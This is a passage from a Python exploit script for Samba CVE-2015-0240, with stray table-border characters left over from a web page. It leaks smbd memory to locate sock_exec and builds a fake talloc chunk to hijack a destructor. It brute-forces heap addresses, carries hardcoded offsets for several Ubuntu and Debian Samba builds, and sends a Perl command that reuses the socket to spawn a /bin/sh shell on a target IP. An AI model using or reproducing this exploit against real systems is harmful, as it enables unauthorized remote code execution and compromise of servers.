if pos <= 0: |
|
|
print(' [-] found wrong .dynsym section at {:x}'.format(pos)) |
|
|
return None |
|
|
dynsym_offset = pos |
|
|
print(' [*] found .dynsym section at {:x}'.format(dynsym_offset)) |
|
|
dynsym = mem[dynsym_offset:] |
|
|
|
|
|
# find sock_exec |
|
|
dynstr, pos = recv_till_string(dynstr, '\x00sock_exec\x00') |
|
|
print(' [*] found sock_exec string at {:x}'.format(pos+1)) |
|
|
sock_exec_offset = lookup_dynsym(dynsym, pos+1) |
|
|
print(' [*] sock_exec offset {:x}'.format(sock_exec_offset)) |
|
|
|
|
|
#info['mem'] = mem # smbd data before .dynsym section |
|
|
info['dynsym'] = dynsym |
|
|
info['dynstr'] = dynstr # incomplete section |
|
|
info['sock_exec_addr'] = info['smbd_addr']+sock_exec_offset |
|
|
print(' [+] sock_exec addr: {:x}'.format(info['sock_exec_addr'])) |
|
|
|
|
|
# Note: can continuing memory dump to find ROP |
|
|
|
|
|
force_dce_disconnect() |
|
|
|
|
|
######## |
|
|
# code execution |
|
|
######## |
|
|
def call_sock_exec(info): |
|
|
prefix_len = addr2utf_prefix(info['sock_exec_addr']) |
|
|
if prefix_len == 3: |
|
|
return False # too bad... cannot call |
|
|
if prefix_len == 2: |
|
|
prefix_len = 0 |
|
|
fake_talloc_chunk_exec = pack("<IIIIIIIIIIII", |
|
|
0, 0, # next, prev |
|
|
0, 0, # parent, child |
|
|
0, # refs |
|
|
info['sock_exec_addr'], # destructor |
|
|
0, 0, # name, size |
|
|
TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag |
|
|
0, 0, 0, # pool, pad, pad |
|
|
) |
|
|
chunk = '\x00'*prefix_len+fake_talloc_chunk_exec + info['cmd'] + '\x00' |
|
|
set_payload(chunk, TARGET_PAYLOAD_SIZE) |
|
|
for i in range(3): |
|
|
if request_check_valid_addr(info['payload_addr']+TALLOC_HDR_SIZE+prefix_len): |
|
|
print('waiting for shell :)') |
|
|
return True |
|
|
print('something wrong :(') |
|
|
return False |
|
|
|
|
|
######## |
|
|
# start work |
|
|
######## |
|
|
|
|
|
def check_exploitable(): |
|
|
if request_check_valid_addr(0x41414141): |
|
|
print('[-] seems not vulnerable') |
|
|
return False |
|
|
if request_check_valid_addr(0): |
|
|
print('[+] seems exploitable :)') |
|
|
return True |
|
|
|
|
|
print("[-] seems vulnerable but I cannot exploit") |
|
|
print("[-] I can exploit only if 'creds' is controlled by 'ReferentId'") |
|
|
return False |
|
|
|
|
|
def do_work(args): |
|
|
info = {} |
|
|
|
|
|
if not (args.payload_addr or args.heap_start or args.start_payload_size): |
|
|
if not check_exploitable(): |
|
|
return |
|
|
|
|
|
start_size = 512*1024 # default size with 512KB |
|
|
if args.payload_addr: |
|
|
info['payload_addr'] = args.payload_addr |
|
|
else: |
|
|
heap_start = args.heap_start if args.heap_start else 0xb9800000+0x30000 |
|
|
if args.start_payload_size: |
|
|
start_size = args.start_payload_size * 1024 |
|
|
if start_size < TARGET_PAYLOAD_SIZE: |
|
|
start_size = 512*1024 # back to default |
|
|
info['payload_addr'] = find_payload_addr(heap_start, start_size, TARGET_PAYLOAD_SIZE) |
|
|
|
|
|
# the real talloc chunk address that stored the raw netlogon data |
|
|
# serverHandle 0x10 bytes. accountName 0xc bytes |
|
|
info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE |
|
|
print("[+] chunk addr: {:x}".format(info['chunk_addr'])) |
|
|
|
|
|
while not leak_info_find_offset(info): |
|
|
# Note: do heap bruteforcing again seems to be more effective |
|
|
# start from payload_addr + some offset |
|
|
print("[+] bruteforcing heap again. start from {:x}".format(info['payload_addr']+0x10000)) |
|
|
info['payload_addr'] = find_payload_addr(info['payload_addr']+0x10000, start_size, TARGET_PAYLOAD_SIZE) |
|
|
info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE |
|
|
print("[+] chunk addr: {:x}".format(info['chunk_addr'])) |
|
|
|
|
|
got_fd = leak_sock_fd(info) |
|
|
|
|
|
# create shell command for reuse sock fd |
|
|
cmd = "perl -e 'use POSIX qw(dup2);$)=0;$>=0;" # seteuid, setegid |
|
|
cmd += "dup2({0:d},0);dup2({0:d},1);dup2({0:d},2);".format(info['sock_fd']) # dup sock |
|
|
# have to kill grand-grand-parent process because sock_exec() does fork() then system() |
|
|
# the smbd process still receiving data from socket |
|
|
cmd += "$z=getppid;$y=`ps -o ppid= $z`;$x=`ps -o ppid= $y`;kill 15,$x,$y,$z;" # kill parents |
|
|
cmd += """print "shell ready\n";exec "/bin/sh";'""" # spawn shell |
|
|
info['cmd'] = cmd |
|
|
|
|
|
# Note: cannot use system@plt because binary is PIE and chunk dtor is called in libtalloc. |
|
|
# the ebx is not correct for resolving the system address |
|
|
smbd_info = { |
|
|
0x5dd: { 'uint8t_offset': 0x711555, 'talloc_pop': 0x41a890, 'sock_exec': 0x0044a060, 'version': '3.6.3-2ubuntu2 - 3.6.3-2ubuntu2.3'}, |
|
|
0xb7d: { 'uint8t_offset': 0x711b7d, 'talloc_pop': 0x41ab80, 'sock_exec': 0x0044a380, 'version': '3.6.3-2ubuntu2.9'}, |
|
|
0xf7d: { 'uint8t_offset': 0x710f7d, 'talloc_pop': 0x419f80, 'sock_exec': 0x00449770, 'version': '3.6.3-2ubuntu2.11'}, |
|
|
0xf1d: { 'uint8t_offset': 0x71ff1d, 'talloc_pop': 0x429e80, 'sock_exec': 0x004614b0, 'version': '3.6.6-6+deb7u4'}, |
|
|
} |
|
|
|
|
|
leak_talloc_pop_addr(info) # to double check the bininfo |
|
|
bininfo = smbd_info.get(info['uint8t_addr'] & 0xfff) |
|
|
if bininfo is not None: |
|
|
smbd_addr = info['uint8t_addr'] - bininfo['uint8t_offset'] |
|
|
if smbd_addr + bininfo['talloc_pop'] == info['talloc_pop_addr']: |
|
|
# correct info |
|
|
print('[+] detect smbd version: {:s}'.format(bininfo['version'])) |
|
|
info['smbd_addr'] = smbd_addr |
|
|
info['sock_exec_addr'] = smbd_addr + bininfo['sock_exec'] |
|
|
print(' [*] smbd loaded addr: {:x}'.format(smbd_addr)) |
|
|
print(' [*] use sock_exec offset: {:x}'.format(bininfo['sock_exec'])) |
|
|
print(' [*] sock_exec addr: {:x}'.format(info['sock_exec_addr'])) |
|
|
else: |
|
|
# wrong info |
|
|
bininfo = None |
|
|
|
|
|
got_shell = False |
|
|
if bininfo is None: |
|
|
# no target binary info. do a hard way to find them. |
|
|
""" |
|
|
leak smbd_server_connection_handler for 2 purposes |
|
|
- to check if compiler does code alignment |
|
|
- to estimate smbd loaded address |
|
|
- gcc always puts smbd_server_connection_handler() function at |
|
|
beginning area of .text section |
|
|
- so the difference of smbd_server_connection_handler() offset is |
|
|
very low for all smbd binary (compiled by gcc) |
|
|
""" |
|
|
leak_smbd_server_connection_handler_addr(info) |
|
|
find_smbd_base_addr(info) |
|
|
dump_smbd_find_bininfo(info) |
|
|
|
|
|
# code execution |
|
|
if 'sock_exec_addr' in info and call_sock_exec(info): |
|
|
s = get_socket() |
|
|
print(s.recv(4096)) # wait for 'shell ready' message |
|
|
s.send('uname -a\n') |
|
|
print(s.recv(4096)) |
|
|
s.send('id\n') |
|
|
print(s.recv(4096)) |
|
|
s.send('exit\n') |
|
|
s.close() |
|
|
|
|
|
|
|
|
def hex_int(x): |
|
|
return int(x,16) |
|
|
|
|
|
# command arguments |
|
|
parser = argparse.ArgumentParser(description='Samba CVE-2015-0240 exploit') |
|
|
parser.add_argument('target', help='target IP address') |
|
|
parser.add_argument('-hs', '--heap_start', type=hex_int, |
|
|
help='heap address in hex to start bruteforcing') |
|
|
parser.add_argument('-pa', '--payload_addr', type=hex_int, |
|
|
help='exact payload (accountName) address in heap. If this is defined, no heap bruteforcing') |
|
|
parser.add_argument('-sps', '--start_payload_size', type=int, |
|
|
help='start payload size for bruteforcing heap address in KB. (128, 256, 512, ...)') |
|
|
|
|
|
args = parser.parse_args() |
|
|
requester.set_target(args.target) |
|
|
|
|
|
|
|
|
try: |
|
|
do_work(args) |
|
|
except KeyboardInterrupt: |
|
|
pass |